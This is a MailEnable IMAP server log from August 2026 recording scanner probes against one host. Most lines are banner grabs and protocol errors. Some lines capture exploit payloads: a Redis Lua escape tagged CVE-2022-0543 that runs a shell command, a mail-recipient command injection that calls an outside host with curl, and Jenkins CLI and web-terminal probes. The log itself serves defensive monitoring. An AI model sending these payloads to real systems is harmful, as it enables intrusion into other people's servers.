#Software: MailEnable IMAP Server #Version: 1.2 #Date: 08/27/26 00:59:32 #Fields: date time c-ip agent account cs-username s-ip s-port cs-method cs-uristem cs-uriquery s-computername sc-bytes cs-bytes time-taken 26-08-27 00:59:32 198.235.24.237 IMAP-IN - - 85.215.251.124 5588 UNKN STARTTLS a002+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 15 0 26-08-27 01:30:55 205.210.31.253 IMAP-IN - - 85.215.251.124 4012 CAPABILITY CAPABILITY *+CAPABILITY+IMAP4rev1+IMAP4+AUTH=LOGIN+AUTH=CRAM-MD5+IDLE+CHILDREN+XLIST+UIDPLUS+SPECIAL-USE WIN-RBUO1FA4VBJ 125 17 0 26-08-27 01:30:55 205.210.31.253 IMAP-IN - - 85.215.251.124 4012 UNKN ID+("name"+"vendor") a002+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 27 0 26-08-27 02:23:20 71.6.237.154 IMAP-IN - - 85.215.251.124 3420 UNKN - - WIN-RBUO1FA4VBJ 24 2 0 26-08-27 02:23:33 71.6.237.154 IMAP-IN - - 85.215.251.124 5300 UNKN - - WIN-RBUO1FA4VBJ 24 2 0 26-08-27 02:28:30 71.6.237.154 IMAP-IN - - 85.215.251.124 5588 UNKN - SKYSEA WIN-RBUO1FA4VBJ 30 8 0 26-08-27 02:35:00 71.6.237.154 IMAP-IN - - 85.215.251.124 4428 UNKN - SSH-2.0-OpenSSH_8.0 WIN-RBUO1FA4VBJ 43 21 0 26-08-27 02:37:38 71.6.237.154 IMAP-IN - - 85.215.251.124 4056 UNKN - - WIN-RBUO1FA4VBJ 24 2 0 26-08-27 02:40:23 71.6.237.154 IMAP-IN - - 85.215.251.124 5276 UNKN nuclei.local EHLO+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 19 0 26-08-27 02:41:30 71.6.237.154 IMAP-IN - - 85.215.251.124 5764 UNKN ClueCon auth+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 16 0 26-08-27 02:41:30 71.6.237.154 IMAP-IN - - 85.215.251.124 5764 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-08-27 02:41:50 71.6.237.154 IMAP-IN - - 85.215.251.124 5176 UNKN - SSH-2.0-NucleiScanner WIN-RBUO1FA4VBJ 45 23 0 26-08-27 02:45:11 71.6.237.154 IMAP-IN - - 85.215.251.124 4448 UNKN /+HTTP/1.0 GET+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 25 57 0 26-08-27 02:45:11 71.6.237.154 IMAP-IN - - 85.215.251.124 4448 UNKN ip85-215-251-124.pbiaas.com:143 Host:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-08-27 02:45:11 71.6.237.154 IMAP-IN - - 85.215.251.124 4448 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-08-27 02:48:21 71.6.237.154 IMAP-IN - - 85.215.251.124 5700 UNKN - SSH-2.0-OpenSSH_scanner WIN-RBUO1FA4VBJ 47 25 0 26-08-27 02:48:57 71.6.237.154 IMAP-IN - - 85.215.251.124 3640 UNKN - - WIN-RBUO1FA4VBJ 24 2 0 26-08-27 02:56:20 71.6.237.154 IMAP-IN - - 85.215.251.124 5592 UNKN 'local+io_l+=+package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0",+"luaopen_io");+local+io+=+io_l();+local+f+=+io.popen("echo+FIRE-CVE-2022-0543-CONFIRMED",+"r");+local+res+=+f:read("*a");+f:close();+return+res'+0 eval+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 227 0 26-08-27 02:56:38 71.6.237.154 IMAP-IN - - 85.215.251.124 4576 UNKN - PING WIN-RBUO1FA4VBJ 28 6 0 26-08-27 02:56:38 71.6.237.154 IMAP-IN - - 85.215.251.124 4576 UNKN server INFO+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 13 0 26-08-27 02:58:19 71.6.237.154 IMAP-IN - - 85.215.251.124 5304 UNKN /service/extension/backup/mboximport+HTTP/1.1 GET+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 25 92 0 26-08-27 02:58:19 71.6.237.154 IMAP-IN - - 85.215.251.124 5304 UNKN ip85-215-251-124.pbiaas.com:143 Host:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-08-27 02:58:19 71.6.237.154 IMAP-IN - - 85.215.251.124 5304 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-08-27 03:05:12 71.6.237.154 IMAP-IN - - 85.215.251.124 4640 UNKN - SSH-2.0-OpenSSH_8.0 WIN-RBUO1FA4VBJ 43 21 0 26-08-27 03:15:06 71.6.237.154 IMAP-IN - - 85.215.251.124 5380 UNKN - SSH-2.0-Go WIN-RBUO1FA4VBJ 34 12 0 26-08-27 03:21:52 71.6.237.154 IMAP-IN - - 85.215.251.124 5640 UNKN /cli?remoting=false+HTTP/1.1 POST+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 202 0 26-08-27 03:21:52 71.6.237.154 IMAP-IN - - 85.215.251.124 5640 UNKN - +BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 22 0 0 26-08-27 03:21:52 71.6.237.154 IMAP-IN - - 85.215.251.124 5640 UNKN da502154-c4cc-4c6b-d61f-b9ad56b43d90 Session:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 30 0 0 26-08-27 03:21:52 71.6.237.154 IMAP-IN - - 85.215.251.124 5640 UNKN download Side:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-08-27 03:21:52 71.6.237.154 IMAP-IN - - 85.215.251.124 5640 UNKN application/x-www-form-urlencoded Content-Type:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 35 0 0 26-08-27 03:21:52 71.6.237.154 IMAP-IN - - 85.215.251.124 5640 UNKN 0 Content-Length:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 37 0 0 26-08-27 03:21:52 71.6.237.154 IMAP-IN - - 85.215.251.124 5640 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-08-27 03:21:53 71.6.237.154 IMAP-IN - - 85.215.251.124 5672 UNKN /cli?remoting=false+HTTP/1.1 POST+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 284 0 26-08-27 03:21:53 71.6.237.154 IMAP-IN - - 85.215.251.124 5672 UNKN - +BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 22 0 0 26-08-27 03:21:53 71.6.237.154 IMAP-IN - - 85.215.251.124 5672 UNKN application/octet-stream Content-type:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 35 0 0 26-08-27 03:21:53 71.6.237.154 IMAP-IN - - 85.215.251.124 5672 UNKN da502154-c4cc-4c6b-d61f-b9ad56b43d90 Session:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 30 0 0 26-08-27 03:21:53 71.6.237.154 IMAP-IN - - 85.215.251.124 5672 UNKN upload Side:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-08-27 03:21:53 71.6.237.154 IMAP-IN - - 85.215.251.124 5672 UNKN keep-alive Connection:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 33 0 0 26-08-27 03:21:53 71.6.237.154 IMAP-IN - - 85.215.251.124 5672 UNKN 163 Content-Length:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 37 0 0 26-08-27 03:21:53 71.6.237.154 IMAP-IN - - 85.215.251.124 5672 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-08-27 03:21:54 71.6.237.154 IMAP-IN - - 85.215.251.124 3868 UNKN /cli?remoting=false+HTTP/1.1 POST+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 202 0 26-08-27 03:21:54 71.6.237.154 IMAP-IN - - 85.215.251.124 3868 UNKN - +BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 22 0 0 26-08-27 03:21:54 71.6.237.154 IMAP-IN - - 85.215.251.124 3868 UNKN 08b5d564-e5a8-4b32-ed0a-28211a8e3e5c Session:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 30 0 0 26-08-27 03:21:54 71.6.237.154 IMAP-IN - - 85.215.251.124 3868 UNKN download Side:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-08-27 03:21:54 71.6.237.154 IMAP-IN - - 85.215.251.124 3868 UNKN application/x-www-form-urlencoded Content-Type:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 35 0 0 26-08-27 03:21:54 71.6.237.154 IMAP-IN - - 85.215.251.124 3868 UNKN 0 Content-Length:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 37 0 0 26-08-27 03:21:54 71.6.237.154 IMAP-IN - - 85.215.251.124 3868 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-08-27 03:21:55 71.6.237.154 IMAP-IN - - 85.215.251.124 4100 UNKN /cli?remoting=false+HTTP/1.1 POST+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 284 0 26-08-27 03:21:55 71.6.237.154 IMAP-IN - - 85.215.251.124 4100 UNKN - +BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 22 0 15 26-08-27 03:21:55 71.6.237.154 IMAP-IN - - 85.215.251.124 4100 UNKN application/octet-stream Content-type:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 35 0 0 26-08-27 03:21:55 71.6.237.154 IMAP-IN - - 85.215.251.124 4100 UNKN 08b5d564-e5a8-4b32-ed0a-28211a8e3e5c Session:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 30 0 0 26-08-27 03:21:55 71.6.237.154 IMAP-IN - - 85.215.251.124 4100 UNKN upload Side:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-08-27 03:21:55 71.6.237.154 IMAP-IN - - 85.215.251.124 4100 UNKN keep-alive Connection:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 33 0 0 26-08-27 03:21:55 71.6.237.154 IMAP-IN - - 85.215.251.124 4100 UNKN 163 Content-Length:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 37 0 0 26-08-27 03:21:55 71.6.237.154 IMAP-IN - - 85.215.251.124 4100 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-08-27 03:29:11 71.6.237.154 IMAP-IN - - 85.215.251.124 4416 UNKN localhost EHLO+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 16 0 26-08-27 03:29:12 71.6.237.154 IMAP-IN - - 85.215.251.124 4416 UNKN FROM:+ MAIL+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 35 0 26-08-27 03:29:12 71.6.237.154 IMAP-IN - - 85.215.251.124 4416 UNKN TO:+<"aabbb$(curl${IFS}{{interactsh-url}})"@mail.domain.com> RCPT+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 67 0 26-08-27 03:29:12 71.6.237.154 IMAP-IN - - 85.215.251.124 4416 UNKN - DATA WIN-RBUO1FA4VBJ 28 6 0 26-08-27 03:29:12 71.6.237.154 IMAP-IN - - 85.215.251.124 4416 UNKN - aaa WIN-RBUO1FA4VBJ 27 5 0 26-08-27 03:29:12 71.6.237.154 IMAP-IN - - 85.215.251.124 4416 UNKN - - WIN-RBUO1FA4VBJ 25 3 0 26-08-27 03:29:12 71.6.237.154 IMAP-IN - - 85.215.251.124 4416 UNKN - QUIT WIN-RBUO1FA4VBJ 28 6 0 26-08-27 03:40:51 71.6.237.154 IMAP-IN - - 85.215.251.124 5428 UNKN - SSH-2.0-NucleiScanner WIN-RBUO1FA4VBJ 45 23 0 26-08-27 03:46:22 71.6.237.154 IMAP-IN - - 85.215.251.124 6104 UNKN - INFO WIN-RBUO1FA4VBJ 28 6 0 26-08-27 03:54:46 71.6.237.154 IMAP-IN - - 85.215.251.124 5132 UNKN /terminal/ws+HTTP/1.1 GET+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 25 229 0 26-08-27 03:54:46 71.6.237.154 IMAP-IN - - 85.215.251.124 5132 UNKN ip85-215-251-124.pbiaas.com:143 Host:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-08-27 03:54:46 71.6.237.154 IMAP-IN - - 85.215.251.124 5132 UNKN websocket Upgrade:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 30 0 0 26-08-27 03:54:46 71.6.237.154 IMAP-IN - - 85.215.251.124 5132 UNKN Upgrade Connection:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 33 0 0 26-08-27 03:54:46 71.6.237.154 IMAP-IN - - 85.215.251.124 5132 UNKN dGhlIHNhbXBsZSBub25jZQ== Sec-WebSocket-Key:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 40 0 0 26-08-27 03:54:46 71.6.237.154 IMAP-IN - - 85.215.251.124 5132 UNKN 13 Sec-WebSocket-Version:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 44 0 0 26-08-27 03:54:46 71.6.237.154 IMAP-IN - - 85.215.251.124 5132 UNKN http://ip85-215-251-124.pbiaas.com:143 Origin:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 29 0 0 26-08-27 03:54:46 71.6.237.154 IMAP-IN - - 85.215.251.124 5132 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-08-27 04:26:06 64.62.197.227 IMAP-IN - - 85.215.251.124 5304 UNKN STARTTLS a001+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 15 0 26-08-27 05:48:11 104.152.52.132 IMAP-IN - - 85.215.251.124 5492 UNKN /+HTTP/1.1 GET+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 25 97 0 26-08-27 05:48:11 104.152.52.132 IMAP-IN - - 85.215.251.124 5492 UNKN 85.215.251.124 Host:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-08-27 05:48:11 104.152.52.132 IMAP-IN - - 85.215.251.124 5492 UNKN curl/7.61.1 User-Agent:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 33 0 0 26-08-27 05:48:11 104.152.52.132 IMAP-IN - - 85.215.251.124 5492 UNKN */* Accept:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 29 0 0 26-08-27 05:48:11 104.152.52.132 IMAP-IN - - 85.215.251.124 5492 CLOSE close Connection:+BAD+This+command+cannot+be+processed+in+the+current+state. WIN-RBUO1FA4VBJ 72 0 0 26-08-27 05:48:11 104.152.52.132 IMAP-IN - - 85.215.251.124 5492 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-08-27 05:48:13 104.152.52.138 IMAP-IN - - 85.215.251.124 5316 UNKN - SSH-2.0-Go WIN-RBUO1FA4VBJ 34 12 0 26-08-27 05:48:14 104.152.52.145 IMAP-IN - - 85.215.251.124 4988 CAPABILITY CAPABILITY *+CAPABILITY+IMAP4rev1+IMAP4+AUTH=LOGIN+AUTH=CRAM-MD5+IDLE+CHILDREN+XLIST+UIDPLUS+SPECIAL-USE WIN-RBUO1FA4VBJ 126 18 0 26-08-27 06:17:20 185.223.235.43 IMAP-IN - - 85.215.251.124 5316 CAPABILITY CAPABILITY *+CAPABILITY+IMAP4rev1+IMAP4+AUTH=LOGIN+AUTH=CRAM-MD5+IDLE+CHILDREN+XLIST+UIDPLUS+SPECIAL-USE WIN-RBUO1FA4VBJ 125 17 0 26-08-27 08:21:32 205.210.31.175 IMAP-IN - - 85.215.251.124 3476 UNKN STARTTLS a001+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 15 0 26-08-27 12:33:05 66.132.172.136 IMAP-IN - - 85.215.251.124 4444 UNKN STARTTLS a001+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 15 0 26-08-27 16:27:13 66.132.224.237 IMAP-IN - - 85.215.251.124 4120 UNKN STARTTLS a001+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 15 0 26-08-27 20:50:52 61.184.87.135 IMAP-IN - - 85.215.251.124 4120 UNKN /+HTTP/1.0 GET+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 25 18 0 26-08-27 20:50:52 61.184.87.135 IMAP-IN - - 85.215.251.124 4120 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-08-27 20:51:36 61.184.87.135 IMAP-IN - - 85.215.251.124 5316 CAPABILITY CAPABILITY *+CAPABILITY+IMAP4rev1+IMAP4+AUTH=LOGIN+AUTH=CRAM-MD5+IDLE+CHILDREN+XLIST+UIDPLUS+SPECIAL-USE WIN-RBUO1FA4VBJ 125 17 0 26-08-27 21:56:24 3.129.187.38 IMAP-IN - - 85.215.251.124 5916 UNKN /+HTTP/1.1 GET+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 25 194 0 26-08-27 21:56:24 3.129.187.38 IMAP-IN - - 85.215.251.124 5916 UNKN 85.215.251.124:143 Host:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-08-27 21:56:24 3.129.187.38 IMAP-IN - - 85.215.251.124 5916 UNKN visionheight.com/scan+Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_15_7)+Chrome/126.0.0.0+Safari/537.36 User-Agent:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 33 0 0 26-08-27 21:56:24 3.129.187.38 IMAP-IN - - 85.215.251.124 5916 UNKN */* Accept:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 29 0 0 26-08-27 21:56:24 3.129.187.38 IMAP-IN - - 85.215.251.124 5916 UNKN gzip Accept-Encoding:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 38 0 0 26-08-27 21:56:24 3.129.187.38 IMAP-IN - - 85.215.251.124 5916 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-08-27 21:57:10 3.129.187.38 IMAP-IN - - 85.215.251.124 4660 UNKN /+HTTP/1.1 GET+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 25 194 0 26-08-27 21:57:10 3.129.187.38 IMAP-IN - - 85.215.251.124 4660 UNKN 85.215.251.124:143 Host:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-08-27 21:57:10 3.129.187.38 IMAP-IN - - 85.215.251.124 4660 UNKN visionheight.com/scan+Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_15_7)+Chrome/126.0.0.0+Safari/537.36 User-Agent:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 33 0 0 26-08-27 21:57:10 3.129.187.38 IMAP-IN - - 85.215.251.124 4660 UNKN */* Accept:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 29 0 0 26-08-27 21:57:10 3.129.187.38 IMAP-IN - - 85.215.251.124 4660 UNKN gzip Accept-Encoding:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 38 0 0 26-08-27 21:57:10 3.129.187.38 IMAP-IN - - 85.215.251.124 4660 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-08-28 00:44:28 71.6.146.130 IMAP-IN - - 85.215.251.124 5916 CAPABILITY CAPABILITY *+CAPABILITY+IMAP4rev1+IMAP4+AUTH=LOGIN+AUTH=CRAM-MD5+IDLE+CHILDREN+XLIST+UIDPLUS+SPECIAL-USE WIN-RBUO1FA4VBJ 126 18 0